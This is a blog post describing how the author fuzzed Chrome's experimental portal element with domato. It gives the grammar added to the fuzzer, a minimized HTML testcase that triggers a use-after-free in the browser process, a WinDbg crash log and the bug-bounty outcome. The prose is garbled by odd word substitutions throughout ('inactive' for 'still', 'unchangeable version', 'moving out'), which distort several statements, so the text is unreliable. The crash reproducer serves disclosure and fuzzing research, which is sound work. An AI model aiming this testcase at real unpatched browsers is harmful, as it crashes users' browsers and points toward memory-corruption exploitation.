Background
Some time ago, while browsing my Twitter feed I stumbled upon an interesting tweet from Michał Bentkowski [https://twitter.com/SecurityMB/status/1127963181089992705]. The description of the fresh portal component surely grabbed my attention as something that may have an impact on security. You can learn more about the portal component from here [https://web.dev/hands-on-portals] and here [https://wicg.github.io/portals/]. At the minute of writing this article the portal component is inactive behind a flag (#enable-portals), nevertheless it is available in the Google Chrome unchangeable version.
I decided to take a look as well, as it seemed to be a beautiful interesting target. During the first poking around I rapidly managed to identify the local file disclosure issue, but of course it was already reported & fixed [https://bugs.chromium.org/p/chromium/issues/detail?id=962500]. nevertheless during that first investigation I was getting quite a few random crashes so I thought it would be a good thought to add portal test cases to 1 of my fuzzing setups.
Setup
I knew I had to act fast as the time was moving out, and most likely more and more people are starting to look at this, or will do it soon, not to even mention fuzzers moving at Google itself. I decided to go with an easy and fast solution, and just added portal related grammar to domato fuzzer [https://github.com/googleprojectzero/domato].
In generator.py I have added the HTMLPortalElement in _HTML_TYPES map:
'portal': 'HTMLPortalElement'
The following grammar was added to the domato fuzzer:
common.txt:
<tagname> = portal
html.txt:
<element> = <HTMLPortalElement>
<HTMLPortalElement> = <lt>portal <portal_attributes> <attributes><gt><htmlsafestring min=32 max=126><lt>/portal<gt>
<attribute_eventhandler> = <attribute_onportalactivate>
<attribute_onportalactivate> = onportalactivate="<eventhandler>"
js.txt:
#HTMLPortalElement
!extends HTMLPortalElement Element
<new Element> = <HTMLPortalElement>;
<new DOMString> = <HTMLPortalElement>.src;
<HTMLPortalElement>.src = "<framesrc>";
<new DOMString> = <HTMLPortalElement>.name;
<HTMLPortalElement>.name = "<name_value>";
<HTMLPortalElement>.activate();
<HTMLPortalElement>.postMessage(<any>,<DOMString>);
<HTMLPortalElement>.postMessage(<any>,"<framesrc>");
<new EventHandler> = <GlobalEventHandlers>.onportalactivate;
<GlobalEventHandlers>.onportalactivate = <EventHandler>;
<Element>.setAttribute("onportalactivate", "<eventhandlerstr>");
jshelpers.txt:
<new HTMLPortalElement> = document.createElement("portal");
tagattributes.txt:
<portal_attribute> = <attribute_onerror>
<portal_attribute> = <attribute_height>
<portal_attribute> = <attribute_border>
<portal_attribute> = <attribute_onload>
<portal_attribute> = <attribute_style>
<portal_attribute> = <attribute_width>
<portal_attribute> = <attribute_onmouseout>
<portal_attribute> = <attribute_marginwidth>
<portal_attribute> = <attribute_noresize>
<portal_attribute> = <attribute_marginheight>
<portal_attribute> = <attribute_scrolling>
<portal_attribute> = <attribute_class>
<portal_attribute> = <attribute_framesrc>
<portal_attribute> = <attribute_onunload>
<portal_attribute> = <attribute_hidden>
<portal_attribute> = <attribute_name>
<portal_attribute> = <attribute_align>
<portal_attribute> = <attribute_onmouseover>
<portal_attribute> = <attribute_allowfullscreen>
<portal_attribute> = <attribute_longdesc>
<portal_attribute> = <attribute_tabindex>
<portal_attribute> = <attribute_onportalactivate>
<portal_attributes> = <portal_attribute> <portal_attribute> <portal_attribute> <portal_attribute> <portal_attribute>
Results
Within an hr I had multiple different crashes, most of them were null pointer dereferences, nevertheless 2 of them looked interesting. I didn’t have time to look into them and execute analysis so right after minimizing test cases I reported them to Google. It is besides worth mentioning that in these cases the main browser process was affected.
#1 Heap Buffer Overflow in chrome!content::XXX::XXX
The first interesting crash I found was reported on 29th May 2019. It was marked as a duplicate. As for present the issue is inactive restricted [https://bugs.chromium.org/p/chromium/issues/detail?id=967889], and the bug is presently not fixed in the latest canary build so I won’t print any details.
This was tested on the following versions: 76.0.3804.0 canary 64-bit and 76.0.3800.2 dev 64-bit. As of writing this article it is reproducible on 79.0.3941.0.
#2 Heap Use-After-Free in chrome!content::Portal::Navigate & Activate
The first Use-After-Free in Portal::Navigate [https://bugs.chromium.org/p/chromium/issues/detail?id=968142] was reported besides on the 29th May 2019. fewer days later I besides found and reported a akin looking UAF in Portal::Activate [https://bugs.chromium.org/p/chromium/issues/detail?id=971702]. It actually turned out to be the same underlying issue, so the cases were merged. Here is simply a minimized code snippet from the first one, as the test case from the second study was rather problematic during the minimization process and is inactive rather large.
Minimized testcase:
<html>
<script>
var url =
'https://example.com';
var portal = document.createElement('portal');
function f()
{
portal.src
= url;
portal.style
=
'height:100%; width:100%';
document.body.appendChild(portal);
portal.src="x";
setTimeout('location.reload(true);',500);
}
</script>
<body onload='f();'>
</body>
</html>
This was tested on 76.0.3804.0 canary 64-bit and 76.0.3800.2 dev 64-bit and 76.0.3806.1 dev.
Windbg log:
(131cc.14d34): Access violation - code c0000005 (!!! second chance !!!)
chrome!content::Portal::Navigate+0x45:
00007ffd`c7dba8bf 488b01 mov rax,qword ptr [rcx] ds:000001d5`37b406f0=????????????????
0:000> r
rax=00000036653fe008 rbx=00000036653fe008 rcx=000001d537b406f0
rdx=0000000000000000 rsi=000001d56dbbef40 rdi=00000036653fe4a8
rip=00007ffdc7dba8bf rsp=00000036653fdfe0 rbp=0000000000000015
r8=0000000000000018 r9=0000000000000020 r10=000001d56d8cafd0
r11=000001d5711b4fe0 r12=000001d5229cdee0 r13=0000000000000000
r14=000001d56dbbef40 r15=00000036653fe4a8
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010200
chrome!content::Portal::Navigate+0x45:
00007ffd`c7dba8bf 488b01 mov rax,qword ptr [rcx] ds:000001d5`37b406f0=????????????????
0:000> u
chrome!content::Portal::Navigate+0x45 [C:\b\c\b\win64_clang\src\content\browser\portal\portal.cc @ 176]:
00007ffd`c7dba8bf 488b01 mov rax,qword ptr [rcx]
00007ffd`c7dba8c2 ff5020 call qword ptr [rax+20h]
00007ffd`c7dba8c5 488b38 mov rdi,qword ptr [rax]
00007ffd`c7dba8c8 4889c1 mov rcx,rax
00007ffd`c7dba8cb 4889da mov rdx,rbx
00007ffd`c7dba8ce ff9798000000 call qword ptr [rdi+98h]
00007ffd`c7dba8d4 4889d9 mov rcx,rbx
00007ffd`c7dba8d7 e8ac1b67ff call chrome!content::NavigationController::LoadURLParams::~LoadURLParams (00007ffd`c742c488)
0:000> kvb
# Child-SP RetAddr : Args to kid : Call Site
00 00000036`653fdfe0 00007ffd`c7993f6b : 000001d5`229f7fd0 00007ffd`c82f4588 000001d5`229eff80 00007ffd`c71b02c6 : chrome!content::Portal::Navigate+0x45 [C:\b\c\b\win64_clang\src\content\browser\portal\portal.cc @ 176]
01 00000036`653fe330 00007ffd`c8a23e0a : 00000000`00000000 00000000`00000000 00000000`00000000 00007ffd`c71d50c7 : chrome!blink::mojom::PortalStubDispatch::Accept+0xd7 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blink\public\mojom\portal\portal.mojom.cc @ 365]
02 00000036`653fe630 00007ffd`c8a23e81 : 00000000`00000000 00000000`00000000 00000000`00000000 00000100`00001402 : chrome!IPC::`anonymous namespace'::ChannelAssociatedGroupController::AcceptOnProxyThread+0x84 [C:\b\c\b\win64_clang\src\ipc\ipc_mojo_bootstrap.cc @ 918]
03 00000036`653fe690 00007ffd`c71b3502 : 000001d5`229cb170 000001d5`229cdee0 00000000`00000000 00000000`00000000 : chrome!base::internal::Invoker<base::internal::BindState<void (IPC::(anonymous namespace)::ChannelAssociatedGroupController::*)(mojo::Message),scoped_refptr<IPC::(anonymous namespace)::ChannelAssociatedGroupController>,mojo::Message>,void ()>::RunOnce+0x41 [C:\b\c\b\win64_clang\src\base\bind_internal.h @ 641]
04 00000036`653fe750 00007ffd`c71b070a : 00007ffd`fe1a6ae0 00000000`00000000 00000000`00000000 00007ffd`fe1a63ec : chrome!base::TaskAnnotator::RunTask+0x122 [C:\b\c\b\win64_clang\src\base\task\common\task_annotator.cc @ 143]
05 00000036`653fe850 00007ffd`c71b0471 : 00000781`02de8191 00000000`0000032d 00000000`00003dff 00007ffd`fe1aa059 : chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl+0x17a [C:\b\c\b\win64_clang\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 369]
06 00000036`653fea10 00007ffd`c7227654 : 00007ffd`fe1a9f10 00000000`00000000 000001d5`22a87f80 00007ffd`ca06327b : chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoSomeWork+0x61 [C:\b\c\b\win64_clang\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 221]
07 00000036`653feaa0 00007ffd`c71b8dde : 00000000`00000008 00007ffd`ca9bb9d0 00000000`00000008 00000036`653fec60 : chrome!base::MessagePumpForUI::DoRunLoop+0xc4 [C:\b\c\b\win64_clang\src\base\message_loop\message_pump_win.cc @ 218]
08 00000036`653feb60 00007ffd`c71b02c6 : 00000036`653fee40 00007ffd`c71750a9 00000000`00000000 00007ffd`c7179f54 : chrome!base::MessagePumpWin::Run+0x4e [C:\b\c\b\win64_clang\src\base\message_loop\message_pump_win.cc @ 76]
09 00000036`653febb0 00007ffd`c71afc6e : 0000e5ca`84b239d5 00000036`653fec68 00007ffd`caa33de0 00007ffd`caa33dc8 : chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run+0x86 [C:\b\c\b\win64_clang\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 466]
0a 00000036`653fec00 00007ffd`c745e65b : 000001d5`2b848fd0 00000000`00000000 00000000`00000595 000001d5`58fb4fd0 : chrome!base::RunLoop::RunWithTimeout+0x1ae [C:\b\c\b\win64_clang\src\base\run_loop.cc @ 167]
0:000> lmvm chrome
Browse full module list
start end module name
00007ffd`c7170000 00007ffd`cadd4000 chrome (private pdb symbols) C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\sym\chrome.dll.pdb\AE2D5ECF90EF44374C4C44205044422E1\chrome.dll.pdb
Loaded symbol image file: C:\Users\Pawel\AppData\Local\Google\Chrome SxS\Application\76.0.3806.0\chrome.dll
Image path: C:\Users\Pawel\AppData\Local\Google\Chrome SxS\Application\76.0.3806.0\chrome.dll
Image name: chrome.dll
Browse all global symbols functions data
Timestamp: Tue May 28 07:00:00 2019 (5CECC050)
CheckSum: 03B68A96
ImageSize: 03C64000
File version: 76.0.3806.0
Product version: 76.0.3806.0
File flags: 0 (Mask 17)
File OS: 4 Unknown Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04b0
Information from resource tables:
CompanyName: Google LLC
ProductName: Google Chrome
InternalName: chrome_dll
OriginalFilename: chrome.dll
ProductVersion: 76.0.3806.0
FileVersion: 76.0.3806.0
FileDescription: Google Chrome
LegalCopyright: Copyright 2019 Google LLC. All rights reserved.
For this bug Google awarded a bounty of $8000 – rather nice.
Summary
In this short blog post I just wanted to show that it is inactive possible to find interesting vulnerabilities in popular and well researched software utilizing simple fuzzing methods if you choose your mark scope well. It can be done as a side project, without large number of cores and investing quite a few hours. nevertheless timing should be right, the window of chance in specified situations is usually short. In this case the targeted code base was in early stages of improvement and seemingly was not yet undergoing internal/external fuzzing.